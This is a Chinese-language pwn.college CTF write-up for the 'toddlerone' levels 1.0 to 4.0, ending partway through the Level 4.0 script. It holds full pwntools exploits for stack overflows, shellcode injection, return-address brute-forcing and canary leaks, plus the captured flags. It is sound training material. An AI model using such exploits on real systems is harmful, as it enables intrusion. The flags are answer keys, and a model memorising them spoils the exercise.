前言
之前说啥来着?想嗨几天?害,我看我是停不下来了 ^-^ 听着,陌生人,你还年轻,千万别学我,天天厮混在这该死的二进制的海洋里面。带上朋友们一起加入吧 bushi
嗯,这章是之前 Memory Errors 和 Shellcode Injection 的组合,需要我们充分利用之前所学的一切知识来组织攻击链。
感觉应该挺简单。我,CuB3y0nd,请求出征!
Level 1.0
Information
- Category: Pwn
Description
Write a full exploit involving shellcode and a method of tricking the challenge into executing it.
Write-up
37 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3){ int *v3; // rax char *v4; // rax _QWORD v6[3]; // [rsp+0h] [rbp-60h] BYREF int v7; // [rsp+1Ch] [rbp-44h] size_t nbytes; // [rsp+28h] [rbp-38h] BYREF _QWORD v9[3]; // [rsp+30h] [rbp-30h] BYREF char v10; // [rsp+48h] [rbp-18h] int v11; // [rsp+54h] [rbp-Ch] void *buf; // [rsp+58h] [rbp-8h] __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF
v7 = a1; v6[2] = a2; v6[1] = a3; memset(v9, 0, sizeof(v9)); v10 = 0; buf = v9; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)v6; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.\n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,\n", buf); puts("(\"above\" it in the stack are other local variables used by the function)."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 25); puts("large input length, and thus overflow the buffer.\n"); puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the canary is disabled, otherwise you would corrupt it before"); puts("overwriting the return address, and the program would abort."); shellcode = mmap((void *)0x2247D000, 0x1000uLL, 7, 34, 0, 0LL); if ( shellcode != (void *)575131648 ) __assert_fail("shellcode == (void *)0x2247d000", "/challenge/toddlerone-level-1-0.c", 0x95u, "challenge"); printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x2247D000); puts("Reading 0x1000 bytes of shellcode from stdin.\n"); shellcode_size = read(0, shellcode, 0x1000uLL); if ( !shellcode_size ) __assert_fail("shellcode_size > 0", "/challenge/toddlerone-level-1-0.c", 0x99u, "challenge"); puts("This challenge has loaded the following shellcode:\n"); print_disassembly(shellcode, shellcode_size); puts(&byte_374C); printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!\n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)\n", buf); printf(1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", (char *)buf + nbytes, nbytes - 25); printf("Send your payload (up to %lu bytes)!\n", nbytes); v11 = read(0, buf, nbytes); if ( v11 < 0 ) { v3 = __errno_location();16 collapsed lines
v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!\n", v4); exit(1); } printf("You sent %d bytes!\n", v11); puts("Let's see what happened with the stack:\n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %p\n", buf); printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_); printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_); putchar(10); puts("Goodbye!"); return 0LL;}
所以,我一眼就看出了你的所有漏洞,并用不到 10 秒想出了一套完整的针对你的攻击链。你,不愧是一道纯正的开胃菜。
~握草了好下笔啊啊啊啊。~下面讲正经的,shellcode 方面没遇到什么限制,程序在 0x2247D000
专门为我们的 shellcode 分配了 0x1000
字节的 rwx
空间,我们随心日它就完了。随后,有一个任意大小读,用它溢出 buf
并覆盖返回地址为 0x2247D000
即可。easy peasy!
Exploit
#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-1-0"HOST, PORT = "localhost", 1337
gdbscript = """c"""
padding_to_ret = b"".ljust(0x38, b"A")ret_addr = p64(0x2247D000)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage): stage_1 = shellcraft.cat("/flag") stage_2 = padding_to_ret + ret_addr
if stage == 1: return asm(stage_1) elif stage == 2: return stage_2 else: log.failure("Unknown stage number.")
def attack(target, payload): try: payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload)
response = target.recvall(timeout=5)
return b"pwn.college{" in response except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(1)
send_payload(target, payload)
payload = construct_payload(2)
if attack(target, payload): log.success("Success! Exiting...")
pause() exit() except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{YRuLYIKU6u9uASqOycoKQO17Ttn.0VOxMDL5cTNxgzW}
Level 1.1
Information
- Category: Pwn
Description
Write a full exploit involving shellcode and a method of tricking the challenge into executing it.
Write-up
以后像这种子 level,如非必要,我都不会再贴 wp 了,因为和 main level 没太大区别,无非就是删除了多余的提示信息,strip 了符号表和调试信息。
Exploit
#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-1-1"HOST, PORT = "localhost", 1337
gdbscript = """c"""
padding_to_ret = b"".ljust(0x78, b"A")ret_addr = p64(0x22A60000)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage): stage_1 = shellcraft.cat("/flag") stage_2 = padding_to_ret + ret_addr
if stage == 1: return asm(stage_1) elif stage == 2: return stage_2 else: log.failure("Unknown stage number.")
def attack(target, payload): try: payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload)
response = target.recvall(timeout=5)
return b"pwn.college{" in response except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(1)
send_payload(target, payload)
payload = construct_payload(2)
if attack(target, payload): log.success("Success! Exiting...")
pause() exit() except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{8kWI1BeY-FwKn2lIHdlSEEYHZ_G.0FMyMDL5cTNxgzW}
Level 2.0
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!
Write-up
4 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3){ int *v3; // rax char *v4; // rax _QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF int v7; // [rsp+1Ch] [rbp-34h] size_t nbytes; // [rsp+28h] [rbp-28h] BYREF _QWORD v9[2]; // [rsp+30h] [rbp-20h] BYREF int v10; // [rsp+44h] [rbp-Ch] void *buf; // [rsp+48h] [rbp-8h] __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF4 collapsed lines
_UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF
v7 = a1; v6[2] = a2; v6[1] = a3; v9[0] = 0LL; v9[1] = 0LL; buf = v9; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)v6;26 collapsed lines
bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.\n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,\n", buf); puts("(\"above\" it in the stack are other local variables used by the function)."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 16); puts("large input length, and thus overflow the buffer.\n"); puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the canary is disabled, otherwise you would corrupt it before"); puts("overwriting the return address, and the program would abort."); puts("- the binary is *not* position independent. This means that it will be"); puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with.\n"); puts("- the binary will disable aslr. This means that everything in memory will be"); puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with."); puts("Furthermore, you know the absolute address of everything on the stack.\n"); puts("- the stack is executable. This means that if the stack contains shellcode"); puts("and you overwrite the return address with the address of that shellcode, it will execute.\n"); printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!\n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)\n", buf); printf(1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", (char *)buf + nbytes, nbytes - 16); printf("Send your payload (up to %lu bytes)!\n", nbytes); v10 = read(0, buf, nbytes); if ( v10 < 0 ) { v3 = __errno_location();16 collapsed lines
v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!\n", v4); exit(1); } printf("You sent %d bytes!\n", v10); puts("Let's see what happened with the stack:\n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %p\n", buf); printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_); printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_); putchar(10); puts("Goodbye!"); return 0LL;}
很明显的栈溢出,没开 ASLR,而栈又有 rwx
权限。那我们把 shellcode 注入到 buf
头,再覆盖返回地址为 buf
头的地址就好了。
Exploit
#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-2-0"HOST, PORT = "localhost", 1337
gdbscript = """c"""
ret_addr = p64(0x00007FFFFFFFD330)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(padding_size): shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += ret_addr
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5)
with open("./f", "r") as file: content = file.read()
log.success(content) except FileNotFoundError: log.error("The file './f' does not exist.") except PermissionError: log.error("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(0x28)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{8534tOGLdefUghR4lz5RbC5wYk5.0VMyMDL5cTNxgzW}
Level 2.1
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!
Write-up
这题没回显,所以问题就是返回地址是什么了。因为没开 ASLR,每次栈的基地址都是相同的,所以这里我直接采用爆破的方式了。
Exploit
#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, time
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-2-1"HOST, PORT = "localhost", 1337
gdbscript = """c"""
ret_addr = 0x7FFFFFFDE000
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(padding_size): shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5)
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): global ret_addr
start_time = time.time()
while True: try: target = launch() payload = construct_payload(0x48)
if attack(target, payload): break
ret_addr += 0x8 except Exception as e: log.exception(f"An error occurred in main: {e}")
end_time = time.time() elapsed_time = end_time - start_time log.success(f"Total elapsed time: {elapsed_time:.2f} seconds.")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{IF2KSArBx1ONOOxBvejSZ5gUqc0.0lMyMDL5cTNxgzW}
Level 3.0
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.
Write-up
48 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3){ int *v3; // rax char *v4; // rax __int64 v6; // [rsp+0h] [rbp-B0h] BYREF __int64 v7; // [rsp+8h] [rbp-A8h] __int64 v8; // [rsp+10h] [rbp-A0h] unsigned int v9; // [rsp+1Ch] [rbp-94h] int v10; // [rsp+2Ch] [rbp-84h] size_t nbytes; // [rsp+30h] [rbp-80h] BYREF void *buf; // [rsp+38h] [rbp-78h] _QWORD v13[11]; // [rsp+40h] [rbp-70h] BYREF int v14; // [rsp+98h] [rbp-18h] char v15; // [rsp+9Ch] [rbp-14h] unsigned __int64 v16; // [rsp+A8h] [rbp-8h] __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF
v9 = a1; v8 = a2; v7 = a3; v16 = __readfsqword(0x28u); memset(v13, 0, sizeof(v13)); v14 = 0; v15 = 0; buf = v13; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v6; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.\n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,\n", buf); puts("(\"above\" it in the stack are other local variables used by the function)."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 93); puts("large input length, and thus overflow the buffer.\n"); puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the stack is executable. This means that if the stack contains shellcode"); puts("and you overwrite the return address with the address of that shellcode, it will execute.\n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!\n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)\n", buf); printf(1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", (char *)buf + nbytes, nbytes - 93); printf("Send your payload (up to %lu bytes)!\n", nbytes); v10 = read(0, buf, nbytes); if ( v10 < 0 ) { v3 = __errno_location();15 collapsed lines
v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!\n", v4); exit(1); } printf("You sent %d bytes!\n", v10); puts("Let's see what happened with the stack:\n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %p\n", buf); printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_); printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_); printf("- the canary is stored at %p.\n", (const void *)cp_); printf("- the canary value is now %p.\n", *(const void **)cp_); putchar(10); printf("You said: %s\n", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v9, v8, v7); } else { puts("Goodbye!"); return 0LL; }}
具体怎么打这题的话,我觉得光靠之前的 Memory Errors 和 Shellcode Injection 这两章学到的知识应该还不够打通这题。主要问题出在如何返回到我们的 shellcode。这题本身是有 ASLR 的,每次栈地址都不一样。程序唯一的一个 RWX 段又是我们的栈段,所以……我们的 shellcode 只能放在栈上,那么怎么知道栈的地址呢?泄漏应该是泄漏不出来的,没有格式化字符串漏洞。Nop Sled 感觉也不太行?我没试过,但是脑子里面简单过了一遍感觉不太可能吧。唯有构造 ROP Chain 我觉得是可以的,不过如果真构建 ROP Chain 了那我还要什么 shellcode 啊哈哈哈。所以有很大可能就是这题想考的技巧我没想到(也不排除就是需要用 ROP Chain 也说不准) ,反正这里就先只贴个反编译结果了,要是哪位师傅有想法的话欢迎在底下评论。我先去打 ROP 了,打完之后再回头继续打这章~
反正别告诉我你要通过程序的回显来打……应该没这样的人吧……你要真通过回显打通了,那 3.1 你怎么办是吧哈哈哈。总之看回显很没意思,丧失了本来的意义。
过了十分钟……
好的知道了,果然是我没想到……其实 rbp 也可以被泄漏出来不是吗,用它减去输入起始地址,我们发现偏移是一样的,那构造 shellcode 的时候我们就用泄漏出来的 rbp 减去得到的偏移地址,这就是返回地址了。然后,boom!
boom 个鸟,忘记触发后门后再次调用 challenge 会创建新的栈帧了。不过这两个栈帧一定是紧挨着的,所以我们的思路还是这样,这没问题。只不过计算的时候注意是用第一个栈帧的 rbp 减去第二个栈帧的输入起始地址罢了。(我就说我这么完美的 payload 怎么可能会打不通,果然是忘了什么……Alr, boom!)
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-3-0"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x68backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))padding_to_ret = b"".ljust(0x8, b"A")fixed_offset = 0x1170
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target, padding_size): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5)
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target, padding_size)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{IDpfJ24swVO_Q0TAY9ajONzKHTe.01MyMDL5cTNxgzW}
Level 3.1
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.
Write-up
参见 Level 3.0。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-3-1"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x58backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))padding_to_ret = b"".ljust(0x8, b"A")fixed_offset = 0x1150
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target, padding_size): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5)
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target, padding_size)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{w1Gz9LGRK9kmwUD7TZnA3xcKN5j.0FNyMDL5cTNxgzW}
Level 4.0
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.
Write-up
46 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3){ int *v3; // rax char *v4; // rax __int64 v6; // [rsp+0h] [rbp-A0h] BYREF __int64 v7; // [rsp+8h] [rbp-98h] __int64 v8; // [rsp+10h] [rbp-90h] unsigned int v9; // [rsp+1Ch] [rbp-84h] int v10; // [rsp+2Ch] [rbp-74h] size_t nbytes; // [rsp+30h] [rbp-70h] BYREF void *buf; // [rsp+38h] [rbp-68h] _QWORD v13[9]; // [rsp+40h] [rbp-60h] BYREF __int64 v14; // [rsp+88h] [rbp-18h] unsigned __int64 v15; // [rsp+98h] [rbp-8h] __int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+A8h] [rbp+8h] BYREF
v9 = a1; v8 = a2; v7 = a3; v15 = __readfsqword(0x28u); memset(v13, 0, sizeof(v13)); v14 = 0LL; buf = v13; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v6; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.\n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,\n", buf); puts("(\"above\" it in the stack are other local variables used by the function)."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 70); puts("large input length, and thus overflow the buffer.\n"); puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the stack is executable. This means that if the stack contains shellcode"); puts("and you overwrite the return address with the address of that shellcode, it will execute.\n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!\n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)\n", buf); printf(1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", (char *)buf + nbytes, nbytes - 70); printf("Send your payload (up to %lu bytes)!\n", nbytes); v10 = read(0, buf, nbytes); if ( v10 < 0 ) { v3 = __errno_location();12 collapsed lines
v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!\n", v4); exit(1); } printf("You sent %d bytes!\n", v10); puts("Let's see what happened with the stack:\n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %p\n", buf); printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_); printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_); printf("- the canary is stored at %p.\n", (const void *)cp_); printf("- the canary value is now %p.\n", *(const void **)cp_); putchar(10); printf("You said: %s\n", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v9, v8, v7); } else {6 collapsed lines
puts("Goodbye!"); puts("This challenge will, by default, exit() instead of returning from the"); puts("challenge function. When a process exit()s, it ceases to exist immediately,"); puts("and no amount of overwritten return addresses will let you hijack its control"); puts("flow. You will have to reverse engineer the program to understand how to avoid"); puts("making this challenge exit(), and allow it to return normally."); if ( v14 != 0x49954B5EFDCB2A29LL ) { puts("exit() condition triggered. Exiting!"); exit(42); } puts("exit() condition avoided! Continuing execution."); return 0LL; }}
很简单吧,令 v14 == 0x49954B5EFDCB2A29
才可以返回到我们的 shellcode。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-4-0"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x58padding_to_v14_size = 0x48backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))padding_to_canary = b"".ljust(0x8, b"A")padding_to_ret = b"".ljust(0x8, b"A")v14 = p64(0x49954B5EFDCB2A29)fixed_offset = 0x1150
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
